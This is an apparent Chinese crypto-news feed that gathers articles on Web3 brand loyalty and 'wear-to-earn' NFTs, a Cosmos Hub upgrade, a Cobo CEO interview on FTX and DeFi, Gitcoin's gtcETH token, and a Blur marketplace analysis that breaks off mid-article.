文化经济：年轻用户需要的不止是商品和消费，品牌文化带来的身份感和归属感可能更为重要。这时对应的忠诚度计划就是participate-to-earn: 品牌鼓励用户某个行为，这个行为强化了用户对品牌文化的认同，使得其有了更高的忠诚度和更长期的消费投入。同时，品牌希望用户完成的行为本质上是一个微型交易（micro-transactions），NFT 的加入可以有更大想象空间, 使得品牌和社区共赢。 对品牌方的启发： 品牌 web3 战略，首先应该思考其真正期待的用户交互和行为，然后再思考如何去鼓励用户参与，创造更大的文化经济。然后再是 web3 和NFT（数字资产）如何帮助我们实现这样的目标 在NFT之前，Tareq 总是在想我们能不能鼓励大家去穿球鞋，而不只是鼓励大家买球鞋。因为大家去穿，就是品牌营销的一部分 （无论在街上还是球场上） Web2 常见的方式是，花钱请合适的人来做品牌代言。但考虑到品牌预算和激励方式，一般只能请个位数的明星来代言，对真实用户的影响很难衡量。Web3 通过引入 Token，大家参与更积极，互动行为更深入，有一种参与游戏的感觉。 Tareq 抛出一个大胆的想法：最棒的穿戴数字化是，你的衣服和鞋子知道你穿着它(Carly当场 wow 出来) 比如，如果你是达拉斯独行侠队的球迷，你在球场穿着他们的队服就是一种支持行为，一种放大品牌声音的行为。如果衣服是有NFC芯片的，你 check in 的时候可以获得一个特殊版 NFT 门票或者 POAP，证明你穿着支持球队的球衣到过现场 因为NFT的链上数据开放性，很容易让品牌的整个生态（包括合作伙伴）一起激励这些对品牌做出贡献的用户行为。不仅是购买这件衣服，如果能够知道在特定场合穿过，那么球队的合作品牌也可以通过行为所获得的链上证明鼓励和奖励你的参与。 举个例子：一件球衣可以用NFC的形式check in线下比赛，如果这件衣服是有去过10场比赛，当你穿着这件球衣去球队纪念品商店的时候，是不是能够有特殊对待？有更好的游戏化的互动等等。 这套 Wear-to-Earn 的模式特别适合运动品牌，使得整个生态系统更加完整，普通的会员体系和门票体系都无法做到这样完整的场景闭环。 再畅想一下，如果链上链下打通，能够知道我穿着这件衣服的虚拟版本去了10 次游戏？这件衣服不再是你当时买来的那件，它有其特殊性证明，而衣服的主人还能获得更多的认可（未必是金融属性的） X-to-Earn怎么设计才是好的？ X-to-earn过度设计，会扭曲你原本做一件事情的动机。因此设计的时候应该是强化本身就有的动机行为。这件事情你原本就要做的，增加激励可以推动你更加愿意去做。另外品牌需要推动的行为需要能给品牌的生态带来正向文化，并且收获这种价值后能够分配给参与者 对品牌方的启发： Wear-to-Earn 的模式特别适合运动品牌，使得整个生态系统更加完整 虚实结合，链上链下结合，使得 user journey 更有趣，用户更愿意参与 X-to-Earn 设计的时候应该是强化本身就有的动机行为，且给品牌的生态带来正向文化   忠诚度3.0: 用Web3补上品牌新增长飞轮的最后一环 运动品牌一定离不开体育赛事和粉丝。Tareq 最后提了一个很深刻的问题，在体育赛事里，真正的「游戏」是什么？直接 po 上原文： The game is not soccer. The game is being a fan of soccer How do you make it a game to be a fan of your club and not just be a fan of your club and watch the game? global fandom vs small stadium, make it truly global It can be broadened to all kinds of sports or other activities 游戏并不是比赛本身，真正的游戏是成为比赛的粉丝 只是坐在看台上看比赛，和参与到全球的粉丝活动中，这两种「俱乐部粉丝」的能量完全不一样 这种认知，适用于各种类型的体育和活动与粉丝的关系。 认识到这一点，我们就会发现，在赛场上发生的不过是这种俱乐部文化的小小子集。赛场外还有无数可以玩的东西，比如棒球卡交易，电子游戏，在强化粉丝的参与，放大其身份感和认同感，创造更有价值的粉丝关系，以及带来宗教般的热情 作为粉丝想与品牌和俱乐部发生更多关联，但大多数体育赛事和俱乐部之前给予粉丝的可玩性和关注是不够的。Tareq 说自己看了这么多 F1 赛事，买了大量周边，F1 知道自己这些行为吗？ 传统的运动品牌方，第一和粉丝并不是直接连接，第二并没有全面的识别和激励粉丝，这两点都不利于忠诚度计划的建设。web3 和 token 的引入，可以更好的解决这 2 个问题，Tareq 基于此提出忠诚度 3.0 可玩性（playability） 社区 （community） 创造性 （creativity） 所有权 （ownership） 下面详细解释下这 4 点 可玩性（playability） 首先品牌应该用好玩的内容，游戏化的方式来吸引用户参与（participate），建立和用户的直接联系和黏性。可玩性越强，用户的参与度就越高。有些品牌在这方面做得非常好，比如Peloton，完全以游戏化内容的方式吸引用户参与健身。 社区 （community） 用户因为玩在一起而形成社区。社区里的身份感和认同感，将用户转化为更有价值的粉丝。最典型的例子就是基于游戏而产生的社区，Tareq 有3个孩子，圣诞shopping清单上几乎孩子想要的都是 Roblox 虚拟 IP 的衍生品，也已经分不清楚 Robux（Roblox的代币）和现实生活中的钱哪个更值钱了? 创造性 （creativity） 在社区里，通过可玩性+人与人之间的连接，大家可以一起创造出一些新东西，为整个社区增值。品牌方不用再绞尽脑汁想 idea, 只需要提供好的工具包和合理的激励机制，社区会自发创造，甚至变成新的实物商品（dot swoosh正在这样做）。社区为产品设计做出贡献，然后通过智能合约捕获到产生的价值，这是和 web2 非常不一样的地方。这也就是最后一块拼图，所有权需要引入的时候。 所有权 （ownership） 在 web2, 用户在社区里面的投入和创造，都是由中心化组织的来制定激励规则，第一规则的执行并不透明，第二也无法保障用户资产（积分会被清零，道具可以被收回）。数字资产的所有权，比起中心化规则更加保障了创造之后的收益，能更激励用户参与和创造。 然后基于NFT的链上数据开放性，很容易让品牌的整个生态（包括合作伙伴）一起激励这些对品牌做出贡献的用户行为；同时基于互操作性，跨社区的贡献也能更好被衡量。一个社区可以给另一个社区的成员NFT （就像乐高积木一样），并且用户可以基于此再通过创造和贡献提升 NFT 的价值。 web2没有 NFT 这种崭新的价值捕获媒介，或者说施展玩法的画布，在忠诚度飞轮里最多只能做到前面几个环节，NFT使得这个飞轮转起来 基于这 4 部分，品牌形成了新的增长飞轮：创造更多可玩性→建立社区获得更多的粉丝→粉丝自发创造→带来核心业务增长，所有权是保障这个飞轮转起来的基础 忠诚度 3.0 里突出了可玩性和创造性，特别适合上面例子里的运动品牌。Forum3 的第一个客户是星巴克，SMS 的第一个客户会是谁，同时会创造出什么样的玩法呢，让我们拭目以待   参考链接 SMS 官网：https://www.sciencemagicstudios.xyz/ @tareqnazlawy在 Overpriced JPEGs 的采访  ( 6 min )
    Cosmos Hub将于3月15日进行V9 Lambda升级，将激活“Replicated Security”功能
    PANews 3月8日消息，据治理页面显示，Cosmos Hub关于v9 Lambda升级提案以99.48%的支持率获得投票通过。Cosmos Hub在官方推特上宣布将于3月15日进行V9 Lambda升级。 根据该提案，本次升级旨在激活Replicated Security功能，这将强制执行链间安全性（ICS）的良好运行规则。Replicated Security功能可将Cosmos Hub的安全性复制到消费者链，并监控对规则的遵守情况，消费者链可以从Cosmos Hub的安全性中受益，而不必维护自己的验证者。  ( 4 min )
    专访Cobo神鱼：2022熊市周期、FTX暴雷和加密创新
    作者：神鱼 Cobo 联合创始人兼 CEO 近期，Cobo 联合创始人兼 CEO 神鱼接受了新加坡区块链新媒体平台 DeThings 专访。在访谈中，神鱼从一个经历过多轮加密货币周期“老韭菜”的视角，分享了对当前市场、FTX 事件影响、DeFi 创新、DEX 未来等多个话题的看法和底层思考，还解释了他对 Crypto 行业能够始终保持好奇心的原因。 如何看待当下的熊市周期 2022 年的这次熊市和以往几次熊市相比，绝望程度是不够的——和以前的绝望程度没法比。 行业已经 10 多年的时间，有大量的积累和试错。我们已经把现有的区块链技术能做什么、不能做什么试的差不多了。 围绕着模块区块链和二层网络这样的扩容方案，也有一些早期的方案开始出现。虽然离最终落地还有两三年的时间，但是已经能隐隐约约看到了曙光。 对行业的未来的信心、对行业未来的方向，我觉得是比上几个周期清晰了特别多。 神鱼：2022 年来了三次黑天鹅。但是，2022 年的这次熊市和以往几次熊市相比，我个人感觉，绝望程度是不够的——和以前的绝望程度没法比。 在 2015 年的那一轮熊市里面，有将近小半年的时间是处在一个非常低的位置波动，整个市场没有任何的热点，基本上找不到叙事逻辑。当时的叙事逻辑还是比特币。2015 年年初的时候，以太坊还没有大规模的形成行业共识，还是在停留在早期阶段——可能还是在V神的脑子里，以太坊白皮书还没出来，整个市场没有任何热点。大家都纷纷质疑，比特币能否挺过挑战。 今天来看行业已经 10 多年的时间，有大量的积累和试错。我们已经把现有的区块链技术能做什么、不能做什么试的差不多了。我们耳熟能详的无币区块链、联盟链的形态，在上一个周期已经试出来是不太可行的。区块链现在的性能边界是什么，哪些应用能够匹配当下的性能，哪些应用的形态可能能跑起来（但大部分跑不起来），我们都试了一遍。 大家对行业能做什么，不能做什么已经非常清楚了。另外，我们也能隐约看到，即使现在不能做的东西，未来可以做的——比如说我们依赖大规模的 TPS 的这些应用，现在已经跑了一些 Demo 了，只是说 TPS 怎么去解决。从 2015 年开始围绕扩容吵了这么多年，现在路线也基本清晰了。 围绕着模块区块链和二层网络这样的扩容方案，也有一些早期的方案开始出现。虽然离最终落地还有两三年的时间，但是已经能隐隐约约看到了曙光。所以，在行业未来和行业信心方面，这一轮的市场反倒没有像之前那样让那么多人萌生退意。 这一轮里面出现了比较多的黑天鹅，让很多人因为不太适应行业的剧烈震荡，导致个人资产归零了，或者大部分的资产被 FTX 这种事件牵连了，在这个层面上受了比较大的损失。但对行业的未来的信心、对行业未来的方向，我觉得是比上几个周期清晰了特别多。 神鱼：我们跟 Sam 在链上有比较多的的接触。2021 年 DeFi 火了以后，链上有大量的 DeFi 投资机会，我个人参与了比较多早期的 DeFi 链上投资。在投 DeFi 的过程中，有一些需要关注的点，需要知道跟你一起投这些项目的人是谁，他们在干什么，他们怎么想，他们什么时候跑，会不会对流动性产生影响等。所以，我们做了大量的链上数据分析，追踪了比较多的可以追踪的鲸鱼的地址。经常我们在追踪的一些地址里面发现跟 FTX、跟 Sam有关联，也看到了他很多链上的各种各样花样的操作。通过 Sam 在这些 DeFi 里面的投资和交易，我们对他有一些了解。 本质来讲，可能跟个人性格有关系，Sam 是一个闲不住的人——他是要极度地提高资金利用率、深度挖掘利润的一个人。他早期套利这样做，大量的 DeFi 链上投资也这样做。他不太允许有一笔钱在账户上闲置比较久的时间。 交易所有大量的用户沉淀，早期我们看到 Sam 从交易所转移一些资产去做一些低风险的投资。慢慢地他对自己越来越信任，越来越膨胀，觉得自己的能力越来越强，开始风险偏好越来越大。这是人之常情，但到了一定程度，这个风险不一定可控了，最后就出现 FTX 这种极端情况。 Crypto 行业还比较早期，很多基础设施都不完善，再加上监管不完善，导致了中心化交易所承担了过多的责任，既做了交易撮合的责任，又做了券商责任，又做了托管的责任。对于创业者、Founder 来讲，很难去抵抗人性的诱惑。他们帮用户管理了大规模的资产，在这个过程中稍微让这些资产流动一下，很容易产生很好的现金流，尤其是在过去两三年牛市的周期里。在监管层面，现在也没有比较清晰的规则。所以，这两块共同导致了 FTX 这样的一个大雷突然发生。 从历史上来看，这种故事层出不穷，有大量类似的故事发生，比如国内比较早期的存钱罐，还有 Mt.Gox 事件等。大量类似的故事在之前的十年里面发生，本质来讲还是人性的问题，这种问题永远都会有的，只是规模的问题以及是否暴露的问题。 未来可能能通过技术手段来避免类似事件。区块链本质是让每个人拥有这样的自由：通过管理自己的私钥来管理自己的资产。但现在行业没发展到那个阶段，大家在管理自己资产的必要性上和安全性上，还有易用性上有一些妥协，很多人觉得自己管私钥早晚会丢，还不如放交易所，因此大量的资产还是沉淀在交易所上面。不过，随着技术的发展，基础设施的完善，链上应用的繁荣，这个问题会逐步改善掉。 神鱼：FTX 事件对我们有一个非常大的警醒。Cobo 这家公司从创业之初，就专注在如何安全的管理私钥，以及围绕着管理私钥需要配套的安全和风控这件事情上。我们一直比较克制，尽可能地去少做事情。 在过去五年的周期里，我们看到了很多能赚钱的机会，无论是做借贷还是做一些衍生品，也有大量的客户（像矿工的群体）找到我们。做了一些简单的测试后，我们觉得这里面有大量的长尾风险和不确定性，所以没有扩大规模去做。 在很长的一段时间里面，我们还一直聚焦在如何安全地存储私钥，如何管理相关的合约状态的风险，私钥使用相关的系统。 我们未来会把在 DeFi 资管层面积累的经验和内部的工具产品化后提供给大家来使用。我们不想变成一个中心化的黑盒，我们希望给大家提供更方便、安全、易用的跟区块链做交互的解决方案——无论是管理链上的资产，还是管理 DeFi 里的合约状态，之后可能管理更复杂的各种各样的链上的应用。所以，我们还会把视野更聚焦一些，做长线的迭代。 神鱼：在二十几个月的时间里面，DeFi 把 200 多年传统金融史上已经看到的基本成功的金融产品搬到了链上。目前来讲 DeFi 有四个大的模块。 第一个是稳定币，目前还比较早期，可能只走完了百分之三四十的进度。现在主流的是美元抵押的稳定币模式，加上像 DAI 的这种以单一资产或者多个资产超额抵押的模式。稳定币在过去两年做了一些探索，但是因为都有大量的泡沫和旁氏，所以有大量的失败的案例，比如 Luna。这一块我们还在探索，是否有一些更加成熟可行的技术解决方案。 第二个是 DEX 交易所，主要是现货交易所。目前的这种 AMM 的机制解决了大部分长尾需求，对于订单薄和衍生品需要更高的链的性能，这需要未来二层网络的发展来落地。这个基本上有个六七十的比例，我们基本上能看清楚未来产品形态。 第三个是借贷。DeFi 的超额借贷、超额质押借贷目前已经相当成熟，并且已经有大量的安全事件和攻击，尤其近期流动性比较低的时候，有大量针对借贷市场的价格操纵的事件发生。大家把借贷里面的边界条件探索比较清楚。我们也基本能看清楚未来大的方向，资产之间怎么隔离，怎么去做风控。这块可能有了七十到八十的进度。 第四个是链上的衍生品和风险管理。目前相对早期，像保险期权类的的量都还不太大。 整个 DeFi 底层的金融框架是成熟了，上面可能还有大量的可组合性的金融创新，目前还不成熟，只是有一些少量的尝试。我觉得，未来 DeFi 的核心模块会退化成链上的典型协议，其他的一些应用像 NFT、GameFi 可以直接来调这些协议使用。 在一些更前沿的应用和风险的平衡的创新里，还是有一定的空间。我不觉得已经到了很成熟的阶段了。 神鱼：Crypto 从第一天起就是一个全球化的事情，他不应该因为创始人的肤色、出生地，变成一个地域性的事情。我们在链上的这些行为和交互，从第一天起就是全球化的，甚至以后到了火星，我们也都是能用的。我们不应该加很多地域性的假设。 站在今天来看，FTX 的这个事情基本上标志着中心化交易所黄昏的到来。虽然大家情绪持续的时间不会很久，市场周期大家很快就会遗忘，但是，这一轮让很多的机构用户，像 2017 年以后进来的传统的家办、传统金融机构，深刻的意识到这个行业的问题。 我们也看到了在 FTX 暴雷时候，大量的资产从各种各样大大小小的交易所往链上钱包转移的行为。在这个层面来看，中心化交易所能做的事情，在去中心化交易所大部分都可以开始去做了，并且可能做得更好。即使不能做的一部分，也能通过比如说 MPC 的方案，让整个交易发生的过程，不是单方面的不可控的黑盒的状态。 未来一段时间，会出现一些去中心化与中心化相结合的方式，去规避这些风险。甚至一些长尾的需求，我们就直接在去中心化去解决掉了，可能效率更高一些。 神鱼：先梳理一下挖矿的行业历史。最早是家庭矿工，在家里一 CPU 一票，一 GPU 一票的挖矿。2013 年开始出现了 ASIC，开始显卡往 ASIC 过渡。但是，到了 2015 年的熊市，市场很冷，大家都挖不出电费，开始从小规模的矿工变成了工厂式的矿工，来优化电费成本。2015 年开始大规模的工业化、集装箱化、模块化地去做矿场。 目前，整个加密矿业的格局，大部分的算力还是集中在北美。尤其是俄乌冲突以后，全球的能源格局的变化也比较明显，欧洲那边的能源成本很高了，剩下的可能主要还是在以北美为主、大规模的天然气的能源和一些水电能源，还有一些东南亚地区的电力，南美和非洲的少部分地区还有一些电力能源。所以，现在还是在一个规模化的末尾状态。 我觉得矿业的未来不应该是现在的状态，现在是为了优化成本提高效率，把大量的机器放在单一的一个矿场里，类似互联网时代的 IDC 的形式，可能是一个成本效率更高的 IDC。 矿业比较理想的最终状态是有大量的小型、中小型的矿场接入全球的电网，有一部分去调配整个电网的状态，因为电很难存储，有很多电其实浪费掉了，我们可以去消峰填谷；有一部分进行能源里面的热能的交换，给工业或者给生活供电、供暖；还有一部分会有一些大型的金融机构把挖矿变成了传统的固收产品，然后来做一些投资。 分散化的趋势可能会在未来逐步凸显，因为目前来看整个挖矿芯片的迭代空间不是那么大了，功耗已经相对比较低了。在这样的情况之下，矿机的生命周期会很长，可以更好地在其他方面发挥作用。 全球也没有更多的已经成熟的剩余的能源了。除了中国以外，全球大规模可快速使用的能源不是那么多。所以可能会到另一个阶段就是再次分散化，在家里挖矿的收益更高，甚至接入电网帮电网调整波峰波谷，还会有一些额外的收益，不单单赚的是挖矿这一件事的钱。 神鱼 ：什么好玩我就去看一看，然后试一试。比如说过去一年多我玩了一些 NFT。大家都开玩笑说我是 NFT 反指，买什么什么跌。GameFi 也小试了一下。 我是会去思考和期待行业未来的发展方向，看一看未来有大概几个方向，这些方向有哪些核心的拐点。早期我会去试试错，探索一下。如果我发现细分领域或者细分赛道的拐点成熟了，他的标志性拐点事件发生了，我就去再会花一些时间去研究。研究为什么出现了拐点，未来能走到哪里。然后再去投入一些时间再去试错，基本上是在一个尝试行业前沿的状态。 如果发现这挺好玩的，但是不适合我，或者说现在很有趣，但是没有找到一个很好捕获到他的快速增长的机会，我可能就先放一放，给他定一个下一个观察到拐点是什么。如果拐点到了，我再去花时间再去研究一下。 每一轮熊市里面有大量的试错机会，像 DeFi 这样的故事，是在 2018 年的熊市时候，EOS 的链上已经发展了一波，然后大家也玩了一波。很快到了 2020、2021 年，DeFi 又把那些做了一次迭代之后，然后很成功地推出来。 这个行业是一个螺旋式的发展，有大量的类似的或者重复的事情，所以保持好奇心，去观察，去思考很重要。 神鱼：从学校出来那一年我立了个目标，30 岁退休，现在已经超过了。Crypto 这个行业比较好玩，迭代速度非常快。我们刚才提到，他有很强的周期性，泡沫破灭的也很快，有大量的创新和各种各样有趣、好玩的事情，逼迫你不得不去学习成长，这也是这个行业非常吸引我的点。 我一直还能在这个行业相对早期，或者说在前沿领域里面去投入大量的时间去学习，是因为这些东西非常有趣。如果去读历史，看过去 200 年金融史上发生的事情，很难感同身受。但是，在这个行业，历史就是在你每天发生的、经历的这些事情。然后再去思考，再去学习，成长很快，也非常有趣，多巴胺的分泌也非常的旺盛。所以，我觉得很难离开这个行业，如果你真的了解这个行业，投入之后很难退休。 点击此处可观看完整访谈视频。  ( 5 min )
    Gitcoin推出以太坊质押指数代币gtcETH，通过质押ETH为公共产品筹资
    PANews 3月8日消息，据官方博客，Gitcoin和Index Coop合作推出Gitcoin Staked ETH Index (gtcETH)，以提供一种被动资助公共产品的方式。gtcETH是一种ERC-20代币，将构建在Index Protocol上，包含Rocket Pool、Lido和StakeWise流动性质押代币。gtcETH将使代币持有者能够通过单一代币访问各种ETH流动性质押代币，同时为公共产品融资作出贡献。 文章称，gtcETH为那些有兴趣为公共产品捐款的人提供了一个双赢的解决方案。标的资产获得的部分质押奖励将逐步增值，并以升值的形式变现。除了保留对ETH的价格敞口外，代币持有者还可以在为公共物品捐款的同时获得一些质押奖励。这与直接捐赠不同，用户必须放弃他们的ETH。通过购买和持有gtcETH代币，Gitcoin贡献者现在可以：1.保留他们的ETH并保持价格敞口；2.获得质押和执行层奖励；3.为Gitcoin Grants捐款。此外，该代币还通过多个流动代币使投资组合多样化，并促进流动代币生态系统内的去中心化。 在gtcETH 2%的年化流费用中，1.75%归Gitcoin, 0.25%归Index Coop。在用户持有1枚gtcETH代币一年并赚取5%总质押APR的情况下（假设ETH价格恒定为1,700美元），由此产生的对Gitcoin的贡献大约是参与者以前在Gitcoin Grants中平均贡献的两倍。以100万美元的TVL（总价值锁定）计算，gtcETH每年将为Gitcoin Grants贡献约17,500美元。官方预测，gtcETH的初始组合在计入年化流费用 (2.00%) 后将产生2.99%的净APR。各种因素（质押的ETH百分比、网络费用、费用销毁等）从根本上影响奖励率，因此收益率会随着时间的推移而变化。  ( 4 min )
    Blur漫谈：从机遇与挑战，探讨潜在投资机会
    机构：Mint Ventures 作者：Jessica Shen, Mint Ventures投资经理 本文先对Blur当前的机遇和挑战展开讨论，再谈论了从Web3.0创业和投资角度对我们看到的Blur值得学习的点，深挖项目细节，最后简单探讨围绕Blur的潜在投资机会。 从$BLUR币价走势来看，市场早期情绪高涨，市场非常期待Blur从多维度打败OpenSea，然而我们客观冷静地思考Blur存在的挑战时，会发现仍旧存在不少困扰行业的共性问题，机遇与挑战并存。 挑战 1. 缺乏底层技术创新改善流动性问题 Blur在一定程度上用代币模型激励了流动性，但缺乏底层技术的颠覆性创新，长期存在被竞争者抄袭甚至超越的可能。目前来看，Blur的优势在于其产品洞察到了用户的真实需求，推出了方便、好用、直观的产品，用UI创新、代币经济学模型创新（激励挂单、要价而非交易本身）抓住了用户，但是NFT流动性问题长期看来并没有被根本性解决。若有竞争对手在Blur的基础上以更快的速度、更直观的UI、更专业的产品，推出代币激励更高的模型，可能我们就会看到当年SushiSwap和Uniswap的竞争情形。 近期，Gem V2也在内测阶段，笔者体验了产品后感受是在Blur的基础上做了产品细节优化。虽然Gem未来是否发币尚无定数，但从产品角度，Gem V2的更新可以在信息刷新速度、展示的直观性、要价（Offer）功能的配备上已经可以跟Blur匹敌，此外还有可以进行“限时”要价、针对某一特征要价的功能。特征要价功能的需求非常确定，许多想要购买含有Koda的Otherdeed的用户，已经多次对Blur提出类似功能的需求，而Gem V2已经提前推出。 Web3.0产品的护城河是许多投资人和项目一直在思考的问题，Blur目前的护城河尚不能说是产品本身或是代币模型。Web3.0的用户粘性对许多产品都是很大的挑战，代码开源的环境中，吸血鬼攻击是随时可能引爆的雷点。反观能够穿越牛熊的一些Web3.0协议，如Curve、Uniswap、Aave、Compound等，除了符合市场需求的产品之外，稳健的代币模型、不断进取的团队、持续拓宽的生态、用户对协议安全的信任都对这些协议长期留存在市场中起到了重要的作用。Blur是否能够全方位兼备上述成功的因素，还需要经历时间检验。仅有UI和代币模型的改进，且难以摆脱印钞机模式的Blur，还需要挖掘更多技术或协议层的创新，从根本上建立护城河，才能保持长久的优势地位。 当前交易手续费为0%，版税最低为0.5%，仅针对部分NFT强制执行版税。这一规则是短期的Go-To-Market策略，长期来看协议不可能一直维持0%交易手续费，未来若Blur想要更多地支持NFT创作者和社区，灵活版税政策未来也有可能进行调整。这些调整都是在根本上增加了交易者成本，增加NFT市场的摩擦力，当成本提高后，而Blur的代币激励也消失后，用户还是会用脚投票选择成本更低的交易市场，Blur届时的成本优势是否还存在对于其竞争地位尤其关键。 Web3.0许多项目都不得不面临代币发行有限而补贴终有发放完毕的一天，印钞机模式若持续，又会给代币带来大量抛压。Blur也将会有空投发放结束之时，如果协议设计、代币模型维持现状，那么可以预期届时流动性会降低不少，市场会质疑Blur是否能与OpenSea相抗衡，从而对预期和估值产生下降影响。代币补贴模式的可持续性也会是Blur潜在的风险点之一。 第一季代币空投给到许多NFT玩家极高的奖励，高昂亢奋的市场情绪有利于市场对项目的信心，会直接反应在代币价格中。然而我们发现第二季代币空投总量分配仅有10%，少于第一季的12%，且预期更多的用户参与“刷空投”活动，其中不乏专业的打金工作室，根据官方代币经济学文档，推断在2023年第四季度完成第二季空投代币（总量10%）的解锁（具体解锁及空投信息以官方公告为准）。明显僧多粥少的情况下，用户可能会在第二季空投发放时，感受到现实与预期的落差。同时，代币价格若在空投大量抛压预期下呈现下降趋势，可能会带来更大的市场FUD情绪，增加情绪的落差感，导致用户和代币持有者对项目产生信心动摇。 目前来看，Blur的代币价值仅在于协议治理权、提案权等，协议尚未有收入，因而也没有收入分享给代币持有人的机制，代币价值捕获能力较弱，对其币价上升空间产生压力。在路线图中，Blur暗示了“F-Switch”，意为“费用开关”。倘若今后打开协议收入，并通过一套机制设计将收入分享给代币持有人，有机地促进协议业务增长、生态拓展，同时有利于稳定币价，那么Blur的长期发展前景会更广阔。 机遇 1. 宏观市场及NFT行情改善 NFT市值和交易量目前集中在以太坊上，与以太坊市场情况及加密货币市场整体走势高度相关。随着加密货币市场情况不断改善，NFT市场预计随之回暖。尽管市场在下个牛市到来前还将持续震荡筑底，但NFT市场已经经历过2022年的各种大跌行情，蓝筹NFT项目的生命力在各种危机后愈加显得健壮，Yuga Labs和其他蓝筹项目方给社区带来的各种新活动和新预期，也预计会给行业持续带来新的叙事。 NFTGo在《NFT Annual Report 2023》中提到，2022年以太坊上全年NFT交易者总量为1.87M，而Dune@sixdegree数据显示2022年以太坊上活跃地址数达48.16M，是NFT交易者数量的25倍多。熊市期间Blur的空投、发币已经让许多NFT圈外的用户更愿意加入到NFT的交易和炒作中。Blur也已经在项目早期获得了非常多的关注度，若Blur在行业内始终保持领先地位，随着牛市到来，NFT交易市场的头把交椅带来估值的提振可能会给$BLUR价格带来进一步提升的空间。 自Blur10月底上线以来，期间的累计交易量已经领先OpenSea、X2Y2、LooksRare等主要交易平台，发币后持续空投预期预计还将继续刺激NFT交易量集中在Blur平台上。当用户的交易习惯、 NFT使用习惯倾向于首选Blur，Blur有望在代币激励结束后留存大量NFT专业交易者和巨鲸用户。 在Blur路线图中，笔者解读出Blur对ERC1155领域交易、打开费用开关（F-Switch）、流动性项目（Liquidity Project）方向拓展的想法，“含糊其辞”的路线图似乎暗示了Blur未来还将进一步在NFT生态中横向拓展业务，从中一窥Blur成为一站式NFT基础设施的野心（仅为个人对Blur路线图的解读，不代表项目官方想法）。官网中还有对NFT API申请的表格，许多NFT协议和产品也都等待着Blur开放其API端口使得NFT报价更加准确，交易、清算的流动性更加好。 OpenSea近期调低交易手续费、变更灵活性版税的规则，让市场更加确信了Blur对OpenSea产生的威胁。两者横向比较来看，OpenSea更类似“多链NFT大型超商”，侧重于NFT一级发行和不同种类的NFT的展示，适合作为NFT新手小白登录NFT的第一站，而Blur定位在“NFT专业交易工具”，侧重于专业级别的交易买卖，适用于NFT老手、巨鲸、做市商等专业玩家的市场。二者定位重心不同，导致了目前OpenSea的交易者人数仍旧是最多，但NFT的二级交易量整体占比更高。Blur第二季空投结束后，二者的交易量情况、交易者人数仍需要持续关注，会是竞争格局的重要指标。 从本质上来讲，Blur与OpenSea最大的不同在于Blur是一个内嵌了代币经济系统的NFT交易市场。Chirs Dixon（a16z合伙人）和Fred Ehrsam（Paradigm创始人）曾在2017的访谈中提到，代币是一个针对（互联网平台公司）扩张问题的通用解决方案，当一个新的网络平台还没有足够多的网络价值的时候，用财务激励和吸引早期种子用户，然后这种财物价值会慢慢收窄，因为网络价值已经逐渐增长。这也是为什么Blur可以在如此短的时间内弯道超车，与OpenSea平起平坐的原因。内嵌了代币模型的NFT交易市场使得每个参与者（创始团队、NFT社区、用户、做市商等）都可以直接在这个平台中获得激励，分享共建产品后产生的网络效应红利。未来代币空投激励、社区激励还将持续一段时间，Blur逐渐积累的用户数据和网络效应将加固社区对产品的信任和用户使用习惯，从而持续产生正循环。 从微观上来看，$BLUR公布的简单的代币经济学文档，为NFT社区去中心化治理留了许多开放性选择。在治理机制中，Blur设置了三个委员会来协调治理过程，其中激励委员会（Incentive Committee）负责管理协议给社区的激励，工作范围包括提供做市商流动性、社区代币激励等，同时也提出如果当前激励预算使用完毕（第一季12%的代币空投、第二季10%的代币空投），可以通过治理申请更多激励分配（剩余39%社区代币）。 创始人@PacmanBlur在采访中曾提到对代币价值捕获的思考，市场中对于Blur协议采用Voting Escrow模型来进行更多价值捕获的讨论已经出现，我们也了解到Blur有意往veToken模型发展（但具体进度未知），未来若代币价值捕获协议收入，同时协议稳居交易市场领先地位，那么代币估值将有更多增长空间和动力。 Web3.0 创业 产品设计的多处细节体现了团队对NFT市场痛点的深刻认知、对用户需求的清晰了解。Blur贴心的产品设计吸引了大量NFT频繁交易者和巨鲸用户，针对NFT流动性准确的营销激励模式和空投预期将大量非NFT领域的Crypto用户的关注力集中起来，持续的空投预期和功能更新不断昭示着Blur进一步“改变用户习惯”和颠覆OpenSea中心化平台的野心。 Blur于2022年10月19日正式上线，此后好评如潮。除了其他交易市场、聚合器也具备的空投预期、挖矿机制等，Blur的主推产品特色是速度、0%交易手续费（后续可能会上调）、合集出价功能（Collection Bidding）。极为朴素的功能细节，却在产品层面把NFT交易市场效率拔高了一个层次。Blur多个产品细节配合前期Go-To-Market运营策略的组合拳让对手们看起来从未真正了解用户和市场。 图片来源：Blur Mirror 这个看起平平无奇的功能，对于专业交易者、频繁交易者而言极为重要，也是Blur赢得用户的关键。在FT代币的交易市场，价格刷新速度已经不是用户敏感点所在，因为我们默认各家交易所的数据更新速度都差不多，不会造成很大的套利差，但在NFT交易市场，市场不得不接受原有几家交易平台缓慢的报价信息。 Michael Lewis的《高频交易员》描绘了华尔街的高频交易员（High Frequency Trader）为了更高级别的信息传输速度，不惜斥巨资铺设光纤线路，速度对交易盈利的重要性不言而喻。尽管普通的NFT交易还没有发展到高频交易的内卷阶段，但是NFT MEV和NFT机器人已经证明信息流速度能够创造巨大价值。因此，当Blur带着最快的信息流速度横空出世时，给用户（尤其是扫货需求强的专业级用户）带来了碾压其他平台的交易体验，频繁交易的NFT炒家、巨鲸快速而自然的切换了交易市场的使用习惯。Blur可以说是第一家真正意识到信息流速度对于NFT交易重要性的平台，也因此快速赢得了市场。 Blur上线至今一直主打0%交易手续费，对于OpenSea 2.5%、X2Y2 0.5%、LooksRare 2%、SudoSwap 0.5%的交易手续费都是一个极为有力的打击。对于卖家来说的确可以将手续费通过NFT自身价格转嫁给买家，但是降低交易手续费本身在市场中起到了促成交易的作用，拉近买单卖单的距离。未来Blur可能会在社区决议下提高交易手续费，但是短期内仍旧会维持这一水平。 Blur在2022年10月公开上线时，不强制执行创作者版税，卖家可以将版税最低设置为0%，也可以按照原有创作者版税方案执行，但是对于支付0.5%版税的交易者Blur明确会给与更多空投以鼓励这种行为。言下之意，Blur支持创作者，但也深知降低版税也是促成交易的关键点。后期Blur将版税规则调整为最低设置成0.5%，虽然标准线上升但没有引起社区对于X2Y2反复更改版税规则时候那么大的争议。 代币发行后，Blur也很快宣布了新的版税规则，从吸引创作者角度出发，反击OpenSea对Blur实施的一系列“制裁”政策。 前情提要： 